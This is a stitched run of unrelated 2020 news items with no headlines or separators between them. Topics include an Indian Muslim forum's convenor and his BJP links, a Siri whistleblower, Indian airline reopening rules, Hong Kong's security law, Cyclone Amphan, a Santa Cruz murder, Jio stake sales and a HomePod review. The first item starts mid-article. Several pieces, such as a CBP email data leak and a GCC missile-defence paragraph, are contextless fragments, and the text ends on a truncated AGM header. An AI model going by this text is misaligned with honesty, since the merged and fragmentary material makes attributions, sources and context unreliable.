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However, the forum is attracting scepticism as its convenor and at least one member sparked rows for their alleged association with the ruling Hindutva nationalist Bharatiya Janata Party or the BJP and its ideologue the Rashtriya Swayamsevak Sangh (RSS).

The forum which claims to act as a think tank is the brain child of one MJ Khan and he holds the chairman portfolio of the group. But Khan had close ties with the BJP, in fact he once became a part of the saffron party.

On August 18, 2013, the then chief minister of Gujarat and then Prime Ministerial candidate of the BJP, Narendra Modi launched a campaign and asked the right wing party leaders to reach out to Muslims  a tactic then seem to woo Muslim voters for the 2014 general elections. On the following day that year the then president of the BJP Rajnath Singh had announced that MJ Khan, the then general secretary of Uttar Pradesh based Peace Party, joined the Hindutva party.

Khans, along with at least 200 Peace Party members, switching allegiance was striking as the turncoat just before the crucial 2014 Lok Sabha elections was visibly against the interest of minority Muslims. It was not only seen as at par the BJP politics, Khans defection had hurt the regional party which own four assembly seats in the 2012 UP assembly elections.

During formal joining, now defence minister Singh had said that Khans association with the BJP was more than a decade old. The top BJP leader then had said, Dr. Khan has been a strong support to BJP during the last 14 years and his formally joining would greatly help the party to strengthen its farmers agenda as well as in reaching out to the Muslim community, especially the Muslim youths across the country.

Apart from being in politics, Khan has been involved in various organisations that mostly work on agriculture related affairs. These include Indian Chamber of Food and Agriculture (ICFA) and International Agriculture Consulting Group (IACG). He was also the editor of Agriculture Today, a monthly magazine from 1996 to 2001.Morever, according a report, during 2013, he was president of Agriculture Professionals Group and National Economic Forum of Muslims (NEFM), which seems to have ceased their operations.

Presently Khan holds the chairman and president portfolios at ICFA and IACG respectively. Interestingly, when searched on National Institution for Transforming India or the NITI Aayogs ngodarpan website (to get government funding it is mandatory for NGOs to register at this portal), Indian Chamber of Food and Agriculture seems to be registered as Indian Council of Food and Agriculture. We make this claim after investigating the details mentioned in the government website where ICFA provides their website URL as icfa.org.in. This website leads to the home page of Indian Chamber of Food and Agriculture.

Furthermore, in 2016, ICFA, which is working as an agri think tank, launched a national level alliance of farmers named All India Farmers Alliance (AIFA) with 44 farmers bodies as its members. The alliances have actively propagated the ruling governments stand on farmers issues.

Khans close ties with the BJP leadership can be ascertained by the fact that since its inception in 2015 ICFA has been organising Global Agro Summit where the ruling partys top leaders such as former UP governor Ram Naik, Defence Minister Rajnath Singh, Commerce minister Suresh Prabhu among others had participated.

However, Khan denied of any vested interest behind launching IMPAR and said, to create a positive image of Muslim community among the people of India by presenting rational and articulate people from the community in mass media debate was one of the reasons behind organising IMPAR. He added that the group wanted to provide prominent Muslim people to represent the community in the national television TV channels in instead of religious leaders.

Commenting on his political affiliation Khan was of the view that the ruling Hindutva nationalist party no more need to Muslims to be in their fold. He argued that the top Muslim leaders who are in the BJP were asked not to participate in election campaigns during the last general elections as that would have gone their against their anti-Muslim rhetoric.

Commenting on Muslims associating with the RSS Khan expressed his sympathy and said, .being involved with the RSS means sacrificing ones emotions.

Apart from Khan, IMPARs another steering committee member attracted criticism for inviting a top RSS leader to an award function at his educational institute. The person in question is educationalist PA Inamdar, who is the head of Azam University.

On August 29, 2105 Azam Campus headed by Inamdar invited MRM patron Indresh Kumar who has been accused in the Ajmer blast. The RSS leader attended the Muslim Ladies Program cum Fatimabi Shaikh Award ceremony attracting major irk towards the Inamdar led organisation. All India Majlis-e-Ittehadul Muslimeen (AIMIM) had alleged that the event as safronisation of Muslim educational institute.

Another senior journalist and editor of Urdu daily Nayi Duniya Shahid Siddiqui also drew irk from many quarters for interviewing Prime Minister Narendra Modi. In July 2012 Siddiqui had interviewed the then Gujarat chief minister Modi which was seen as favouring politically to the BJP leader for the next general elections which was scheduled two years later.

PM Modi who by and large do not give interviews, agreeing to be interviewed by a Muslim journalist was perceived as a conscious move. Indeed, Siddiqui had asked difficult questions but for an orator like PM Modi, it was not tough for him to turn the tables. It was in this interview where PM Modi in response to Gujarat riots had said hang me if I am guilty. However, Siddiqui had rejected all criticisms and defended his interviewing of Modi.
The whistleblower who outed Apple's practice of collecting Siri user requests have written a scathing attack against Apple.

A former Apple contractor who blew the whistle on the Cupertino-based tech company listening to users Siri recordings went public to protest the lack of action taken against Apple. In a letter sent to all European data protection agencies, Thomas le Bonniec, the whistleblower said It is worrying that Apple (and undoubtedly not just Apple) keeps ignoring and violating fundamental rights and continues their massive collection of data, according to report by The Guardian.

The whistleblower who worked as a contractor for Apple used to transcribe Siri user recordings in English and French until he quit in 2019 due to ethical concerns about his work.

Following the allegations, Apple promised to bring about big changes to its data collection policy. The iPhone maker promised it will no longer collect Siri recordings by default, and users will be able to opt-in to share recordings with Apple. Apple further said only Apple employees will be privy to these audio samples and the company will not outsource transcription of the recordings to third-party contractors.

We realise we have not been fully living up to our high ideals, Apple had said in a statement at the time. Eventually, the company rolled out software updates to make the collection of Siri user requests an opt-in feature and to even delete the recordings Apple has stored.

However, Le Bonniec maintained Apple never really faced legal consequences for the time it was collecting user data without their explicit consent, in violation of European data protection laws.

Ireland Data Protection Commissioner takes notice

In a reaction to the letter sent by Le Bonniec, Irelands Data Protection Commissioner (DPC) has been in contact with Apple, according to a report by Reuters.

The DPC engaged with Apple on this issue when it first arose last summer and Apple has since made some changes, Graham Doyle, Deputy Commissioner at the Irish DPC, said in an emailed statement to Reuters.

However, the commissioner also followed up with Apple after the letter was received and said responses are awaited. The report claims the European Data Protection Board is working on chalking up guidelines for voice assistant technologies.
The government will regulate fares and it will be in a fixed range with a minimum and a maximum fare already set for the route. Aviation experts wonder who gave the government advice on this matter.

The governments Standard Operating Procedures (SOPs) to be followed before taking a flight has been largely welcomed by experts in the aviation sector. Everyone agrees that after lockdown measures announced to contain the spread of coronvirus is important and necessary for the government to have come out with a detailed SOP. Some welcomed it as a good thought-out gesture by the government.

Experts in aviation sector pointed out the flaws in the government's SOPs:

Capping of fares

The government will regulate fares and it will be in a fixed range with a minimum and a maximum fare already set for the route. Aviation experts wonder who gave the government advice on this matter.

Fixing refunds earlier and now fixing fares - even though temp and in emergency only - is unfortunate, said Kapil Kaul, CEO & Director, CAPA South Asia-an advisory and research firm focussed on aviation and aerospace. Kaul said, in the absence of demand data and with continuing uncertainty, he said he was not sure what inputs were used to arrive at the fare bands.

According to data released by Directorate General of Civil Aviation (DGCA, airlines had zero passengers for the last six days in March. Airlines flew 7.8 million passengers, against 11.5 million in March against the same month last year. Airlines in India are likely to suffer a revenue loss of $11.2 billion, leading to 2.9 million jobs at risk as passenger demand will fall by 47 per cent, according to the latest estimates by the International Air Transport Association (IATA).

In this backdrop, the government capping fares and also allowing only 1/3rd of flights to operate under strict rules when domestic flight services resume on 25 May will hit the sector. Jitendra Bhargava, former ED, Air India said the sector has been going through a rough time with fuel hikes, no flights since lockdown and having to pay salaries to their employees. These rules will not impact much on those airlines which have cash reserves, but what about those who are struggling, he said.

One-third of flights allowed to operate

After being not allowed to fly due to the lockdown measures, the announcement about opening up of the sector would have been good if the airlines were allowed to deploy al their fleet. The government cannot say flights should be only 30 percent full or decide on fares. This is a matter of supply and demand, said Mark D Martin, Founder and CEO, Martin Consulting, an aviation safety firm. He said that the capping may work for airlines that are doing well like a Go Air or Indigo Airlines which have low operating costs and no debt. But what about the others, he said.

If the government was keen on capping fares, it should have done that in the case of Air India, which it owns, said Ajay Awtaney, business travel and aviation journalist and the founder of the Indian frequent-traveller website LiveFromALounge.com. He said,the government was setting a wrong precedent.

The government has done this in the past in the form of putting out an advisory. In 2018, the Central government had asked domestic airlines to keep a check on air fares for flights operating to and from Kerala as the state was suffers from one of the worst bouts of floods in the recent past as a humanitarian cause. The government was successful at it too.

Awtaney said he fears that if this capping of fares works out well in the changed circumstances, the government may not want to roll it back. Airlines have been paying bills and there no cash that they have generated in the months of shutdown. Now they need to generate cash for immediate needs. The 1/3rd rule of taking passengers and capping fares still does not help when it comes to airlines having to pay navigational charges, landing charges, fuel charges. The government is not offering any discounts on it. The govt is not helping the airline and should not be in the business, he said.

Quarantine policy

Puri said, people who are positive will not be allowed to board the flights. But Assam government came out with a statement that the state government would quarantine passengers coming travelling on flights except crew members.If anybody will be found violating the mandatory quarantine of 14 days, a criminal case will be filed against them and they will be arrested. Nobody will be spared no matter how powerful or influential he/she is, Himanta Biswa Sarma said.

Awtaney said there is a big question mark on quarantine policy. He said when countries in the European Union have managed to come out with common standard of flying and no quarantine period for those travelling within the EU, why should states in India act like a nation. There should be a harmonious policy going forward. There needs to be unified policy and this should be out before the airlines start ticketing, Awtaney said.

Arogya Setu app

The passengers are expected to certify the status of their health through the Aarogya Setu app or a self-declaration form, Puri said during a press briefing on the resumption of domestic air travel in the country.

Not many agree that it will be a good decision. The devil is in the execution, they said. We are good at making rules but what about implementation, said Bhargava.

For starters, the app has to be downloaded and that can be an irritant for many who are not tech-savvy. Some passengers may be randomly checked and their swabs taken. Do airports have the time for this? Travel is an ordeal in itself and with these rules, the government is making it a horrible nightmare. I welcome the move by the government but they have to factor these rules do not delay flights, said Martin. He would rather the government focussed more on the hygiene as that is crucial, he said.

Passengers are expected to carry a printout of their tickets. Do all passengers have printers at their homes? It would have been easier to allow for printouts in the airport instead, suggested Bhargava.
Opposition politicians in Hong Kong have spoken up against Beijing's proposed national security law for the city, claiming that it violates China's "promise" of autonomy and freedom to the Hong Kong people. "I think we're talking from a very anxious, angry and frightened Hong Kong," said Emily Lau, a former Democratic Party member of the Hong Kong Legislative Council. "The big companies are also very nervous, their investors are nervous because Beijing is going to crack down on Hong Kong, take away our freedoms, our personal safety, our rule of law," she told CNBC's "Street Signs Asia" on Friday. The Democratic Party is one the largest opposition political parties in Hong Kong, and has the third-largest presence in Legislative Council. Lau is a former chairperson of the party. Beijing announced the draft national security law during the National People's Congress, an annual meeting of China's top legislative body. The law, which Beijing said is "highly necessary," will prohibit secession, subversion of state power, terrorism activities and foreign interference, reported Reuters.

We are not fighting for independence or the overthrow of the Communist Party with force and violence... Emily Lau former member, Hong Kong Legislative Council

Reports of the proposed legislation sparked activist calls for a protest march on Friday, potentially renewing widespread pro-democracy demonstrations that swamped the city for much of last year  but came to a halt due to the coronavirus outbreak in the beginning of this year. Hong Kong is ruled under the "one country, two systems" policy, which gives the city self-governing power, a largely separate legal and economic framework from China, and various freedoms including limited election rights. It was a framework that was put in place for 50 years, after the former British colony returned to China in 1997.

A protester holds a flag that says "Free Hong Kong. Revolution of Our Time" at a demonstration on December 8, 2019 in the city. Anthony Kwan | Getty Images News | Getty Images

Lau said the protests are not a push for Hong Kong's independence from China. "We are not fighting for independence or the overthrow of the Communist Party with force and violence," she said. "We just want the Chinese government to keep the promise in the 1984 Sino-British Joint Declaration in which Britain handed Hong Kong over to China under 'one country, two systems' that we can preserve our free lifestyle until 2047," she added. That sentiment is shared by many other politicians and activists.

Tanya Chan, a pro-democracy lawmaker from the Civic Party, said the introduction of the draft law marked the "saddest day in Hong Kong's history." "It confirms one country, one system," she told reporters in Hong Kong, indicating the draft legislation is a violation of the "one country, two systems" framework. CNBC reached out to the Chinese government for comment on the politicians' remarks but has yet to hear back. No one knows for sure what will happen at the end of the 50 years, when the policy is expected to cease in 2047, but Hong Kong's leader Carrie Lam had previously said the one country, two systems" policy could continue beyond the initial 50 years.

'Time to put an end to it all'

In an editorial published on Friday, Chinese state media Global Times pushed back at criticisms that the proposed law goes against the "one country, two systems" framework. "On the contrary, the draft law is a move aimed at preventing external forces from meddling in HK (Hong Kong) affairs. It would also deter the power HK extremists. The decision would reestablish a stable environment where the 'one country, two systems' principle could work smoothly," it read.
Prime Minister Narendra Modi reached West Bengal, the first leg of his visit to survey the areas ravaged by Cyclone Amphan. PM Modi will conduct an aerial survey of the damage.

The Prime Minister deboarded the plane at Kolkata airport wearing a face mask. He was received by Governor Jagdeep Dhankar and Chief Minister Mamata Banerjee; they were also wearing face masks.

Banerjee asked the Prime Minister to declare Cyclone Amphan as a national disaster. She had earlier said that 80 people were killed in the state due to the cyclonic storm, according to news agency ANI.

The Prime Minister is stepping out after almost three months, officials said. His last tour was to Prayagraj and Chitrakoot in Uttar Pradesh on February 29.

The Prime Minister had announced a nationwide lockdown in March due to the coronavirus pandemic which has gripped India and the world. He had urged people to stay wherever they are. The lockdown has since been extended thrice, and PM Modi has not stepped out.

But this is like a national emergency, which is why the PM has decided to step out after 83 days, said officials. He will go to Kolkata and 24 North Parganas in West Bengal, they said.

He will conduct aerial surveys and take part in review meetings, where aspects of relief and rehabilitation will be discussed, the Prime Ministers Office (PMO) said in a tweet on Thursday night.

Cyclone Amphan has left 72 people dead and thousands homeless in West Bengal, battering several parts of the state and washing away bridges and swamping low-lying areas.

It also wreaked havoc in Odisha damaging power and telecom infrastructure in several coastal districts.

After West Bengal, the Prime Minister will go to Odisha in the afternoon.

Meanwhile, the extremely severe cyclonic storm has weakened and moved to Bangladesh, the Indian Meteorological Department (IMD) said.

News of PM Modis decision came hours after West Bengal Chief Minister Mamata Banerjee pitched for central assistance and appealed to PM Modi to visit the cyclone-hit areas. The state government had moved out five lakh people to shield them from the cyclone that roared into the state on Wednesday, packing winds gusting to a top speed of 185 kmph.
SANTA CRUZ, Calif. (AP)  The abduction and killing of a Northern California website developer last year was a robbery carried out by four young men, including two who worked at a cannabis business the victim also ran, Santa Cruz County authorities said Thursday.

The four suspects were arrested for murder, kidnap and robbery on May 19 in coordinated actions in the Southern California cities of Burbank and Lancaster, and in St. Clair Shores, Michigan, sheriffs Lt. Brian Cleveland told a news conference.

Sheriff Jim Hart said compelling evidence would be presented to the district attorney for consideration of charges against the four.

Tushar Atre, 50, founder of AtreNet Inc., was abducted from his coastal Santa Cruz home on Oct. 1 and was then found dead.

A security video showed three people emerge from an alley and approach the home at 2:48 a.m. and then the victims white BMW being driven away.

Detectives found the body at 8 a.m. in the Santa Cruz Mountains.

Cleveland said the robbery was planned, the robbers had a rifle and the motive was monetary gain, but he declined to release any details.

The Sheriffs Office identified the four suspects as Joshua Camps, 23, of Lancaster; Kurtis Charters, 22, of Lancaster; Kaleb Charters, 19, of St. Clair Shores; and Steven Lindsay, 22, of Burbank. Kurtis and Caleb Charters are brothers.

Kaleb Charters and Lindsay were employees of the victims cannabis business, Cleveland said.

Camps was an associate to the group, Cleveland said.

Extradition of Kaleb Charters from Michigan was pending, and the other three were being held without bail in the Santa Cruz County jail. It was not immediately known if they had attorneys who could speak on their behalf.
A meeting of the UN Security Council in New York (Photo: AFP/ VNA)



Ambassador Dang Dinh Quy, head of the Vietnamese mission to the United Nations, on May 21st chaired the first online informal meeting between ambassadors of the 10 non-permanent member countries of the United Nations Security Council (E10) and UN Secretary General Antonio Guterres.

The ambassadors and Guterres exchanged views on matters regarding the agenda of the UN Security Council (UNSC), covering the fight against the COVID-19 pandemic.

Guterres said the UN and its Peacekeeping Operations (PKO) have shifted priorities towards helping countries cope with the pandemic, with specific activities.

Many countries and parties have responded to his call for global unconditional ceasefire, he said, adding that, however, some conflicts still develop complicatedly.

He highlighted the E10s significant role in pushing ahead with specific measures in order to maintain international peace and security, and cited pragmatic and diverse initiatives proposed by the countries when they hold the UNSC monthly presidency.

The countries lauded efforts of the UN Secretariat and Guterres to help countries cope with the pandemic.

The ambassadors said many of the UN Chiefs proposals and initiatives are practical, contributing to coordinating international cooperation, improving public awareness of pandemic impacts, and mobilising resources, especially for the areas hardest hit by the epidemic, thus supporting millions of people who are experiencing the humanitarian crisis.

For his part, Quy affirmed that Vietnam, together with the E10 and other UNSC member countries will back the UN Secretary Generals efforts to maintain international peace and security, cope with the pandemic and promote sustainable development.

Vietnam is holding the position as coordinator of the E10 in May./.
The first quarter of this financial year turned out to be one of the most difficult periods in the history of corporate India. The spread of coronavirus and the fearsome shutting down of manufacturing plants across the country has frightened the industry. But Mukesh Ambani is going strong and plans to cut down Reliance Industries' debt by nearly Rs 1 lakh crore by June-end. If they are able to conclude the announced deals in the quarter, the net debt will come down to Rs 61,000 crore.

To achieve the target, Jio Platforms Ltd (JPL) on Friday announced its fifth stake sale deal to sell 2.32 per cent stake to private equity giant KKR for Rs 11,367 crore. Interestingly, all the deals happened during the lockdown time. Just before the lockdown RIL shares plummeted 40 per cent because of the panic sale in the stock market. However, the fall didn't affect JPL, which is valued at Rs 4.9 lakh crore, according to the valuation at which private equity deals happened recently.

Also read: Mukesh Ambani scores 5th cheque! KKR to invest Rs 11,367 cr into Jio Platforms

KKR's largest investment in Asia comes with the JPL deal. With this, JPL has raised Rs 78,562 crore from leading technology investors including Facebook, Silver Lake Partners, Vista Equity Partners and General Atlantic in a month's time.

RIL said, "The investments by leading global growth investors will help enable Jio scale its ecosystem towards building a Digital Society in India." The company has so far signed agreements to sell 17.12 per cent stake in JPL. Of this, Facebook with 9.99 per cent stake will have a board position.

Mukesh Ambani plans to cut RIL's net debt to zero by March 2021 through the ongoing rights issue of Rs 53,125 crore, the announced strategic investments of Rs 78,562 crore and BP Plc's investment of Rs 7,000 crore in fuel retailing joint venture. However, 25 per cent of the rights issue or Rs 13,300 crore will come to the company by June. The company has a net debt of Rs 1,61,035 crore, which increased by Rs 8,000 crore in the last financial year. The outstanding gross debt of the company stood at Rs 3.36 lakh crore in March 2020, while cash and cash equivalents at Rs 1.75 lakh crore.

Also read: Silver Lake to invest Rs 5,655 cr in Jio Platforms at higher valuation than Facebook deal

Jio is being built as the next generation software product and platform company. The digitisation opportunity in India after COVID-19 pandemic and Jio's capabilities in cutting-edge technologies and tools such as AI, Blockchain, AR/VR, Big data have attracted the global giants, said the company earlier.

JPL was created as a subsidiary of RIL in October last year to bring together all digital and mobility businesses under one roof. The new entity has become the parent of Reliance Jio Infocomm and applications like MyJio, JioTV, JioCinema, JioNews and JioSaavn, besides content-generation ventures. Thus, the operating company Reliance Jio became a step-down subsidiary of RIL.

To make JPL debt-free, the parent company has infused Rs 1.08 lakh crore in it. They want to build JPL like Alibaba and Google that claim high valuations in stock markets. The Facebook deal emphasises that JPL will expand as a digital giant for India. RIL has been using the cash flow from its flagship petroleum refining business to build the telecom and retail subsidiaries all these years. The Indian conglomerate has spent about Rs 4 lakh crore to build Reliance Jio.

Also read: Mukesh Ambani's Jio Platforms scores hat-trick; bags Rs 11,367 cr investment from Vista after FB, Silver Lake

Also read: General Atlantic to invest Rs 6,598 crore in Mukesh Ambani's Jio Platforms
After the event, Roman G. Jacquez, a CBP recruiter, sent an email to everyone who signed up for the fair, regardless of whether they expressed interest in working for the agency. The email, which was viewed by The Washington Post, included information about law enforcement positions but also contained the entire data set of candidates personal information.
On the security front, the administration  with cooperation from allies and assistance from regional partners  should look for ways to strengthen the Gulf Cooperation Councils interoperable ballistic missile defense architecture. Providing responsible increases for the GCCs missile defenses might deter an Iranian attempt to target the territory of our allies. Such a move might be advisable even without the likelihood of the arms embargo expiring, as Iran has shown stunning military incompetence this year in the downing of a Ukrainian passenger jet and the sinking of its own warship.
Metro Manila (CNN Philippines, May 22)  Havent thought of a way to send off Batch 2020? Well, Taguig City has found a way through its cyber-graduation rites without sacrificing safety of its residents amid community quarantine.

The city held its first virtual graduation on Friday for the 179 graduates of Senator Renato Companero Cayetano Memorial Science and Technology High School (SRCCMSTHS). The ceremony made use of toga-wearing robots that were made by the schools Taguig Robotics Team. The team developed four remote-controlled robots made from recycled materials.

Live videos of the graduates were projected on the robots heads as their names were called for their diplomas. The high school graduates watched the ceremony from home through Facebook Live.

Officials from the City Government, the Department of Education, and SRCCMSTHS attended the rites, who also made sure they followed safety measures like wearing masks and social distancing.

Separate rites will be conducted for about 17,000 other graduates from the citys 24 public elementary schools and 12 other public high schools, which will also make use of the robots.

We know how deeply symbolic a graduation ceremony is for graduates and their parents, Mayor Lino Cayetano said in a statement.

This is why we came up with a program that can help them celebrate their accomplishment while respecting health standards and policies during the COVID-19 community quarantines, he noted.

Meanwhile, cash incentives will also be distributed to 16,923 graduates from the city government as support for their families during this time of community quarantine.

Under the program, 12,931 Grade 6 graduates will receive 1,000 each, while 3,276 Grade 12 graduates will receive 1,500 each.

Those who showed academic excellence will continue receiving incentives given to them in the past school years.

As for top 1 students in 24 public elementary schools and 12 public high schools, they will each receive 15,000. Those who came in second will each receive 12,500 each. The remaining students in the top 10 will each receive 5,000 for those in Grade 6 while 7,500 for those in Grade 12.

Separate incentives will also be given for those students who topped their section. About 269 Grade 6 students will receive 2,500 each, while 77 Grade 12 students will each have 5,000.

Taguig City is one of the cities in Metro Manila that was placed under modified enhanced community quarantine starting mid-May and is expected to end by May 31 assuming COVID-19 cases do not spike again.

Cases in the city reached 378 as of May 21, data from the Health Department showed. Of these, 15 died, while 105 recovered.
Amid rise in honey exports, beekeeping will play a key role in achieving the goal of doubling farmers' income by 2024, according to Agriculture Minister Narendra Singh Tomar.

India is among the world's top five honey producers.

The country's honey production and exports have risen more than two-folds compared to the level in 2005-06, he said.

Tomar stressed on the need to promote beekeeping while addressing a webinar organised by the National Cooperative Development Corporation (NCDC) on Thursday, an official statement said.

As part of the Rs 20 lakh crore economic package to those affected by COVID-19 lockdown, the government has set aside Rs 500 crore to promote beekeeping businesses.

Stating that the government is giving beekeeping training, Tomar said the National Bee Board has created four modules to impart training as part of the National Beekeeping and Honey Mission (NBHM) and 30 lakh farmers have been trained in beekeeping. They are also being financially supported by the government.

Besides, the government has launched 'Honey Mission' as part of 'Sweet Revolution' which has four components. Even small and marginal farmers can adopt beekeeping since investment is low and returns high, he added.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
An inactive space shuttle test site at the Santa Susana Field Lab in 2002. Most of the property is owned by Boeing, which acquired Rocketdyne in 1996. (Anacleto Rapping / MCT)

After more than a decade of delays, the U.S. Department of Energy said it will soon resume environmental cleanup at a former nuclear and rocket engine test site in the hills of Ventura County.

On Wednesday, the DOE and the California Department of Toxic Substances Control announced a consent order to demolish 10 government-owned buildings, including several of the most contaminated, at the Santa Susana Field Lab outside Simi Valley.

The sprawling test site covers 2,850 acres and was instrumental in the development of the Apollo and space shuttle programs. In 1959, it was the scene of a nuclear accident ,and more recently it was the ignition point for the 2018 Woolsey fire, which caused devastation in both Ventura and Los Angeles counties.

Under President Trumps leadership, the Department of Energy is committed to making real and significant progress to meaningfully address the environmental legacy challenges from decades of Cold War era government research, said U.S. Secretary of Energy Dan Brouillette. This agreement is an important step that demonstrates how DOE and California can collaborate to bring the ETEC site to its final cleanup and completion.

ETEC stands for the Energy Technology Engineering Center, a specific government-owned property within the larger field lab that developed technology in support of the U.S. nuclear and space programs during the Cold War.

"Todays actions to clean up this toxic site are the result of a critical partnership between California and the U.S. Department of Energy that greatly benefited from the personal involvement of DOE Secretary Dan Brouillette and former Secretary Rick Perry, said California Gov. Gavin Newsom. The surrounding communities have waited a long time for decisive action at the Santa Susana Field Lab and todays order represents a new and important chapter toward the full cleanup."

The 10 buildings slated for demolition comprise the former Radioactive Materials Handling Facility complex, used for the processing, packaging and shipment of radioactive and mixed hazardous wastes. The buildings became inactive from 1999 to 2001.

Story continues

"The DOE will dispose of building demolition debris at licensed and permitted disposal facilities outside the state of California," the agency said. "DOE will continue to work with the state toward processes to remove the remaining DOE-owned buildings, and toward cleanup of soils and groundwater at the site."

This is a significant step forward in the cleanup of this important site, said California Environmental Protection Secretary Jared Blumenfeld. We share this communitys concern regarding the possible release of contamination from this area, and credit the federal Department of Energy for working collaboratively to remove the buildings and complete this action.

State officials said the consent order was in keeping with efforts to prevent and mitigate the impacts of wildfires. In the event of a fire followed by heavy rain, the deteriorating buildings could potentially release contamination that could migrate off site, officials said. This interim action will result in the removal of the above-ground portions of the buildings.

The DOE is one of three responsible parties for the cleanup at the field lab. Boeing owns most of it, while NASA also owns a portion.




Samajwadi Party President Akhilesh Yadav on Friday alleged the quarantine centres in Uttar Pradesh are so bad that they have become "torture camps" due to the "apathetic attitude" of the Yogi Adityanath government.

He also demanded that the government makes public the account of its expenditure in the fight against the coronavirus pandemic.

"The chief minister used to make big claims about arrangements in quarantine centres. But the reality is that, now they have become torture camps, whose situation is very bad," Yadav said in a statement.

"The officers have put migrant labourers as animals in quarantine centres made in ponds and secluded places. The BJP government is highlighting these as 5-star arrangements. At various places labourers, doctors and nurses had protested against it also," he said.

The Samajwadi Party chief said at a quarantine centre in the chief minister's constituency Gorakhpur a snake entered the bed of a labourer, while a teenage boy at a quarantine centre in Gonda a died due to snake bike in a centre.

The complaints of poor food and unavailability of staff are common. The government is more interested in bus debate and not so about bringing back stranded in other states, he said.

Demanding that the money spent in dealing with COVID-19 be made public, the Samajwadi Party chief said, "People have the right to know where it is spent."



Yadav earlier announced to provide Rs 1 lakh to the child, who was seen lying on a luggage being pulled by his mother in Agra.

"We are providing financial assistance of Rs 1 lakh to the parents of the child in the hope that something positive happens to him," he said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Source: Xinhua| 2020-05-23 03:18:35|Editor: huaxia

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PARIS, May 22 (Xinhua) -- The pressure on French health services continued to be eased as COVID-19 hospitalizations further declined, official data showed on Friday.

As of Friday, 17,383 COVID-19 patients remained in hospitals, a one-day decline of 200, confirming a downward trend reported since early April. Of the hospitalized, 1,701 are in intensive care, down by 44 over the past 24 hours, the country's health ministry said.

Since the start of the epidemic, 100,038 people have been hospitalized for coronavirus infection. Of them, 64,209 people have left hospitals.

The ministry said that overall COVID-19-linked fatalities would be updated on Monday. As of Thursday, France had registered 28,215 deaths in total. Enditem
Reserve Bank of India (RBI) governor Shaktikanta Das will address a press conference today at 10 am. This will be third presser of the governor in the context of COVID-19 related measures in last two months. The first one was on March 27 and the second on April 17.

In the first two pressers, the RBI governor announced a series of measures to ease liquidity pressure in the banking system and cushion the economy from the COVID-19 shock. These included a sharp 75 basis points rate cut in March and liquidity measures worth at least Rs 5 lakh crore in two rounds. Besides, the RBI announced a three month moratorium for all term loan repayments between March 1 and May 31.

What to expect today?

There is a widespread expectation that the governor may announce an extension of the loan moratorium for term loans for a few more months in the backdrop of extension of the nationwide lockdown till May 31. Industries have been demanding extension of the moratorium facility for another three months. This will help companies, severely hit by the lockdown, to not miss the payments to banks.

Secondly, the governor could announce the continuation of the liquidity support measures for banks to lend to non-banking finance companies and small industrial units in view of the prolonged stress in the economy.

The governor may also comment on the recent economic package announced by the government to counter the COVID-19 impact in the economy. As part of the COVID-19 economic package, the Narendra Modi-led government has announced a series of loan schemes, some backed by government guarantees to small industrial units and non-banking finance companies (NBFCs).

These include a Rs 3 lakh crore economic package for micro, small and medium enterprises (MSMEs), Rs 75,000 crore of loans to NBFCs (of which Rs 30,000 crore is a three-month loan scheme fully backed by the government), Rs 5,000 crore for street vendors and Rs 2 lakh crore concessional credit to farmers.

Of the Rs 20 lakh crore package, the direct spending is only about one percentage of GDP, the rest include loans through various banking channels and development institutions.
Apple HomePod smart speaker is now available in India for Rs 19,900. Image Source: IANS News

Apple HomePod smart speaker is now available in India for Rs 19,900. Image Source: IANS News

New Delhi, May 22 : The long wait is finally over for the Indians during the social distancing times when they are streaming and listening to more music that ever. Apple HomePod, which is here to complete the Apple ecosystem at your home or office, landed almost two years late but then, der aaye par durust aaye (better late than never).

Strictly made for Apple fans, the Rs 19,900 device (which is cheaper than most countries) has support for Indian English Siri voices that adapts to its location and delivers high-fidelity audio wherever it's playing.

The users have access to Apple Music and over 60 million songs from more than two million artists and tens of thousands of playlists which can be accessed via Apple Music and iTunes.

Available in white and space grey colours, HomePod is super easy to set up and Siri can hear you from across the room. Make sure that your iPhone, iPad, or iPod touch is updated to the latest version of iOS.

If you still find any problem, let your kid do the setting up for you (today's kids, you know!).

The device has some interesting and next-gen mix of engineering and science to surprise every member of your family.

HomePod is able to automatically sense its location in a room, then analyze and adjust the audio so that your music sounds great - no matter where it is placed.

A high-excursion woofer, a custom seven-tweeter array, along with advanced software to deliver the highest-fidelity audio, the device with advanced algorithms powered by the A8 chip analyse the music and environment by tuning the low frequencies and automatically adapting the acoustics for the best sound experience.

Six microphones are perfectly positioned around HomePod. This design lets you speak to HomePod from across the room, as well as while loud music is playing.

The microphone array in HomePod listens to the reflections of the music off neighboring surfaces, and senses if it is against a wall, on a bookshelf, or freestanding in a room.

When freestanding, HomePod beams consistent 360-degree audio throughout the room.

When against a wall or on a bookshelf, the A8 chip appropriately beams direct energy and centre vocals into the middle of the room, while reflecting the ambient reverb and backup vocals against the wall for dispersion in the room.

This entire process happens automatically and takes just seconds.

Each time you move HomePod, even slightly, it uses the built-in accelerometer to detect a change in its location and readapts to the environment.

Magic? Well there is more to come.

Apart from being your intelligent home assistant and controlling sensor-based Internet of Things (IoT) devices at home and office which other smart speakers also perform, conveniently use HomePod to both make and receive phone calls.

With enabled 'Personal Requests', incoming calls to your iPhone are automatically directed to your HomePod.

Just ask Siri to answer the phone. To make a call, you can ask by name from your contacts, or simply state a number to call.

As Siri learns your routines, you will get convenient suggestions on your iPhone and you can activate these on HomePod with just your voice.

Apple says that Siri on HomePod is equally as private and secure as it is on its other devices. The detection of "Hey Siri" happens on device, so nothing is sent to Apple until that trigger is detected and the Siri lights up. At that time, the request is sent to Apple using an anonymous Siri ID, and that communication is all encrypted.

You must try songs like 'The Greatest' by Sia or 'Sunrise' by Norah Jones.

In Norah's case, HomePod maintains a lot of separation between her voice and the piano, so they work really well together.

While listening to 'Side to Side' with Nicki Minaj by Ariana Grande, the high excursion woofer coupled with studio level dynamic process makes for big and deep bass. The snare is crisp, and when you get to the chorus, vocals are big and spacious.

If you are a purist, play the Indian classic music collection or if you are a Bollywood lover, try listening to 'Tera Ban Jaunga' from the movie 'Kabir Singh'.

Conclusion: HomePod beats Amazon Alaxa and Google Home in every department, except the one where interaction in customized, desi languages is concerned (those functionalities will sooner or later arrive on HomePod too).

At this moment, bring this new member to your Apple family, and enjoy a dinner party with HomePod playing in the background during the social distancing times.
One Media iP Group Plc - Result of AGM

THE INFORMATION CONTAINED IN THIS ANNOUNCEMENT IS INSIDE INFORMATION FOR THE PURPOSES OF ARTICLE 7 OF REGULATION 596/2014

One Media iP Group Plc

